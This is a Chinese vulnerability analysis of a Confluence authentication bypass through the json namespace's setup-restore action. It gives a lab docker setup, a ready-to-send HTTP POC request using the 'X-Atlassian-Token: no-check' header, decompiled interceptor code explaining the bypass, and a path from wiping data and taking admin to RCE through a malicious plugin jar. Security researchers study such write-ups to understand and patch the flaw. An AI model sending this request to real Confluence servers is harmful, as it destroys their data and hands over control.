未经身份验证的远程攻击者通过构造恶意请求可在一定程度绕过目标系统身份验证,并通过后台接口获得接管服务器的权限,最终可实现远程代码执行,由于攻击者无法泄露任何系统数据,因此不会影响机密性;但该漏洞利用会导致 Confluence 数据清空,对数据完整性产生不可逆的影响。
受影响版本
- Atlassian confluence < 7.19.16
- Atlassian confluence < 8.3.4
- Atlassian confluence < 8.4.4
- Atlassian confluence < 8.5.3
- Atlassian confluence < 8.6.1
不受影响版本
- Atlassian confluence >= 7.19.16
- Atlassian confluence >=< 8.3.4
- Atlassian confluence >= 8.4.4
- Atlassian confluence >= 8.5.3
- Atlassian confluence >= 8.6.1
环境搭建
这里使用docker搭建,环境变量添加调试idea调试端口,这里的版本是7.13.6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| version: '2' services: web: image: vulhub/confluence:7.13.6 ports: - "8090:8090" - "5005:5005" depends_on: - db environment: - JVM_SUPPORT_RECOMMENDED_ARGS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" db: image: postgres:12.8-alpine environment: - POSTGRES_PASSWORD=postgres - POSTGRES_DB=confluence
|
安装时需要去官网生成license
漏洞分析
后台管理中存在一个备份与恢复功能
允许上传文件,并从文件中导入Confluence数据
对应的路由是/admin/restore.action,需要进行鉴权
本次漏洞的入口就是namespace为json的一系列接口,可以绕过鉴权,同样可以进入restore.action,这里给出poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| POST /json/setup-restore.action?synchronous=true HTTP/1.1 Host: 192.168.118.1:8090 X-Atlassian-Token: no-check Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7 Content-Length: 364
------WebKitFormBoundaryT3yekvo0rGaL9QR7 Content-Disposition: form-data; name="buildIndex"
true ------WebKitFormBoundaryT3yekvo0rGaL9QR7 Content-Disposition: form-data; name="file";filename="222.zip"
222 ------WebKitFormBoundaryT3yekvo0rGaL9QR7 Content-Disposition: form-data; name="edit"
Upload and import ------WebKitFormBoundaryT3yekvo0rGaL9QR7--
|
Confluence鉴权逻辑
这是Struts框架的处理流程,confluence的鉴权主要是用两个Interceptor实现的WebSudoInterceptor、PermissionCheckInterceptor
首先触发的是PermissionCheckInterceptor
通过调用confluenceAction.isPermitted方法来进行鉴权,这里我们传入的是SetupRestoreAction
此处重写了isPermitted方法,返回始终为true
对于没有重写这个方法的action,会进入其父类com.atlassian.confluence.core.ConfluenceActionSupport#isPermitted
1 2 3 4 5 6 7 8 9 10 11
| public boolean isPermitted() { if (!this.getBootstrapManager().isSetupComplete()) { return true; } else { if (!this.skipAccessCheck && !this.spacePermissionManager.hasPermission("USECONFLUENCE", (Space)null, this.getAuthenticatedUser())) { this.eventManager.publishEvent(new NoConfluencePermissionEvent(this)); }
return this.spacePermissionManager.hasAllPermissions(this.getPermissionTypes(), (Space)null, this.getAuthenticatedUser()); } }
|
这里可以通过设置skipAccessCheck=true来绕过鉴权
后续再继续跟进PermissionCheckInterceptor
在WebSudoInterceptor#intercept中会对请求的uri,类名,方法名进行校验,matches方法的实现逻辑如下,如果请求的namespace为admin则需要二次认证
1 2 3 4 5 6 7 8 9 10 11 12
| public boolean matches(String requestURI, Class<? extends Action> actionClass, Method method) { if (requestURI.startsWith("/authenticate.action")) { return false; } else { boolean isAdmin = requestURI.startsWith("/admin/"); if (isAdmin) { return method.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getAnnotation(WebSudoNotRequired.class) == null && actionClass.getPackage().getAnnotation(WebSudoNotRequired.class) == null; } else { return method.getAnnotation(WebSudoRequired.class) != null || actionClass.getAnnotation(WebSudoRequired.class) != null || actionClass.getPackage().getAnnotation(WebSudoRequired.class) != null; } } }
|
原本初始化的恢复安装请求的uri是/setup/setup-restore.action,这个uri会在com.atlassian.confluence.setup.actions.SetupCheckInterceptor#intercept被拦住,可以参考CVE-2023-22515
我们如果在后台中恢复安装则会请求/admin/restore.action,但admin这个namespace明显会在WebSudoInterceptor#intercept被拦截
那我们利用json这个namespace是如何进行绕过的呢?可以在xwork.xml中找到答案
1 2 3
| <package name="admin" extends="setup" namespace="/admin"> ... <package name="json" extends="admin" namespace="/json">
|
json这个namespace是继承admin的,而admin又是继承setup的,所以使用json这个命名空间既可以访问到setup-restore.action,又可以绕过WebSudoInterceptor中的二次认证,这也是本次漏洞的核心所在
请求头 X-Atlassian-Token
设置X-Atlassian-Token: no-check
,关键逻辑位于com.atlassian.xwork.interceptors.XsrfTokenInterceptor#isOverrideHeaderPresent
在一堆Interceptor中,走到com.atlassian.confluence.xwork.ConfluenceXsrfTokenInterceptor#intercept时,会继续调用他的父类com.atlassian.xwork.interceptors.XsrfTokenInterceptor#intercept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public String intercept(ActionInvocation invocation) throws Exception { Method invocationMethod = this.versionSupport.extractMethod(invocation); String configParam = (String)invocation.getProxy().getConfig().getParams().get("RequireSecurityToken"); RequireSecurityToken legacyAnnotation = (RequireSecurityToken)invocationMethod.getAnnotation(RequireSecurityToken.class); XsrfProtectionExcluded annotation = (XsrfProtectionExcluded)invocationMethod.getAnnotation(XsrfProtectionExcluded.class); boolean isProtected = this.methodRequiresProtection(configParam, annotation, legacyAnnotation); String token = ServletActionContext.getRequest().getParameter("atl_token"); boolean validToken = this.tokenGenerator.validateToken(ServletActionContext.getRequest(), token); if (isProtected && !validToken) { if (token == null) { this.addInvalidTokenError(this.versionSupport.extractAction(invocation), "atlassian.xwork.xsrf.notoken"); } else { this.addInvalidTokenError(this.versionSupport.extractAction(invocation), "atlassian.xwork.xsrf.badtoken"); }
ServletActionContext.getResponse().setStatus(403); return "input"; } else { return invocation.invoke(); } }
|
这里会调用methodRequiresProtection来得到isProtected,我们获取到的validToken为空,如果isProtected为True,则会返回input
只有isProtected取到false,才能继续调用invoke,走入下一个intercept,最终走进com.atlassian.confluence.importexport.actions.SetupRestoreAction#execute
1 2 3 4 5 6 7 8 9 10 11
| private boolean methodRequiresProtection(String configParam, XsrfProtectionExcluded annotation, RequireSecurityToken legacyAnnotation) { if (this.isOverrideHeaderPresent()) { return false; } else if (annotation != null) { return false; } else if (configParam != null) { return Boolean.valueOf(configParam); } else { return legacyAnnotation != null ? legacyAnnotation.value() : this.getSecurityLevel().getDefaultProtection(); } }
|
这里继续跟进isOverrideHeaderPresent
1 2 3
| private boolean isOverrideHeaderPresent() { return "no-check".equals(ServletActionContext.getRequest().getHeader("X-Atlassian-Token")); }
|
只要设置请求头X-Atlassian-Token: no-check
即可
holderAware.validate 验证
在进入SetupRestoreAction#execute之前,会有一个Interceptor调用对应Action类的validate方法,以验证请求是否正常
对应的位置是com.atlassian.confluence.core.ConfluenceWorkflowInterceptor#intercept
之后会进入com.atlassian.confluence.importexport.actions.SetupRestoreAction#validate方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public void validate() { File upload = null;
try { upload = this.getRestoreFileFromUpload(); ExportScope exportScope = ExportDescriptor.getExportDescriptor(upload).getScope(); if (exportScope != ExportScope.ALL) { this.addActionError(this.getText("error.trying.to.restore.space.export")); } } catch (ImportExportException var3) { log.error("Could not locate the backup you wish to restore: ", var3); } catch (ExportScope.IllegalExportScopeException var4) { this.addActionError("error.could.not.determine.export.type"); } catch (Exception var5) { log.error("Could not unzip uploaded file: [" + (upload != null ? upload.getName() : "") + "]. ", var5); } catch (UnexpectedImportZipFileContents var6) { this.addActionError(HtmlUtil.htmlEncode(var6.getMessage())); }
}
|
这里会先把表单中的文件存到一个临时目录下,接着会判断他的内容是否是一个备份文件,只有检查都通过才会最后进入execute
可以看一下上传临时文件的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| protected File getRestoreFileFromUpload() throws ImportExportException { log.debug("uploadedFileCopy = {}", this.uploadedFileCopy); if (this.uploadedFileCopy != null) { return this.uploadedFileCopy; } else { try { FileUploadUtils.UploadedFile uploadedFile = FileUploadUtils.getSingleUploadedFile(); if (uploadedFile != null && uploadedFile.getFile() != null) { this.uploadedFileCopy = this.moveUploadedFile(uploadedFile, uploadedFile.getFile()); return this.uploadedFileCopy; } else { throw new ImportExportException("No files uploaded."); } } catch (FileUploadUtils.FileUploadException var4) { FileUploadUtils.FileUploadException e = var4; String[] errors = var4.getErrors();
for(int i = 0; i < errors.length; ++i) { this.addActionError(e.getErrors()[i]); }
throw new ImportExportException("Error uploading file."); } } }
|
FileUploadUtils.getSingleUploadedFile会获取文件名,并生成一个随机的目录名,此时文件还没上传
然后进入moveUploadedFile开始写文件
这里上传的路径是用File构造的,无法进行目录穿越
下一步的ExportDescriptor.getExportDescriptor(upload).getScope()的操作应该是用来解压压缩包,并获取某些数据
1 2 3
| public static ExportDescriptor getExportDescriptor(File exportZip) throws UnexpectedImportZipFileContents, ImportExportException { return new ExportDescriptor(readExportDescriptor(exportZip)); }
|
继续跟进
1 2 3 4 5 6 7 8 9 10
| static Properties readExportDescriptor(File exportZip) throws UnexpectedImportZipFileContents, ImportExportException { try { File extractedDirectory = GeneralUtil.createTempDirectoryInConfluenceTemp("import"); Unzipper fileUnzipper = new FileUnzipper(exportZip, extractedDirectory); return readExportDescriptor(fileUnzipper, extractedDirectory); } catch (IOException var3) { log.error("Error determining export type from export zip: " + exportZip.getPath(), var3); throw new ImportExportException("Error unzipping file (This may be due to a large zip file): " + var3.getMessage(), var3); } }
|
继续跟进readExportDescriptor
这里unzipper.unzipFileInArchive(“exportDescriptor.properties”)只会解压出来exportDescriptor.properties这个文件,最后再删除临时目录
在解压的时候,这里会判断解压的目录是不是原先规定目录的子集,其实在这里无法进行目录穿越
SetupRestoreAction 处理逻辑
这里只接受POST请求,RequireSecurityToken为True
1 2 3 4 5 6 7 8 9 10 11
| @PermittedMethods({HttpMethod.POST}) @RequireSecurityToken(true) public String execute() throws Exception { SetupRestoreHelper.prepareForRestore(); String result = super.execute(); if ("success".equals(result)) { SetupRestoreHelper.postRestoreSteps(); }
return result; }
|
先调用父类的execute,如果返回的值为True,就会进入恢复安装步骤,拿到管理员权限
我们先跟进super.execute,位于com.atlassian.confluence.importexport.actions.RestoreAction#execute
1 2 3 4 5
| @PermittedMethods({HttpMethod.POST}) @RequireSecurityToken(true) public String execute() throws Exception { return super.execute(); }
|
里面继续调用super.execute,再进入com.atlassian.confluence.importexport.actions.AbstractImportAction#execute
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public String execute() throws Exception { try { ExportDescriptor exportDescriptor = ExportDescriptor.getExportDescriptor(this.getRestoreFile()); if (this.isImportAllowed(exportDescriptor)) { this.doRestore(exportDescriptor); } } catch (ImportExportException var2) { this.addActionError(var2.getMessage()); log.debug(var2.getMessage(), var2); } catch (UnexpectedImportZipFileContents var3) { this.addActionError(this.getI18n().getText(var3.getI18nMessage())); }
return this.getActionErrors().size() > 0 ? "error" : "success"; }
|
如果允许导入,就开始执行doRestore,跟进看看
1 2 3 4 5 6 7 8 9 10 11 12 13
| private void doRestore(ExportDescriptor exportDescriptor) throws ImportExportException, UnexpectedImportZipFileContents { DefaultImportContext context = this.createImportContext(exportDescriptor); context.setRebuildIndex(this.isBuildIndex()); LongRunningTask task = this.createImportTask(context); if (this.isSynchronous()) { task.run(); } else if (this.shouldDeferStart(exportDescriptor)) { this.taskId = this.longRunningTaskManager.queueLongRunningTask(task).toString(); } else { this.taskId = LongRunningTaskUtils.startTask(task, (User)null); }
}
|
我们传参的时候需要传入Synchronous=true,否则他会放入队列中,返回一个taskId,之后再异步执行
Synchronous
adj. 同步的; 共时的; 同时发生(或存在)的;
如果异步执行,返回包会进行302跳转
1
| Location: /json/setup-restore-progress.action?taskId=106c678d-c532-493c-aa55-3397dfa99ef7
|
在第一个Interceptor就会被拦com.atlassian.confluence.setup.actions.SetupCheckInterceptor#intercept
1 2 3
| public String intercept(ActionInvocation actionInvocation) throws Exception { return BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup() ? "alreadysetup" : actionInvocation.invoke(); }
|
参考CVE-2023-22515,最新版本中无法设置这几个和安装有关的属性,无法绕过
漏洞利用
上传备份文件后,覆盖目标数据,从而拿到后台权限
后续可以在管理应用的地方上传恶意jar包插件来进行rce
可以参考
https://github.com/youcannotseemeagain/CVE-2023-22515_RCE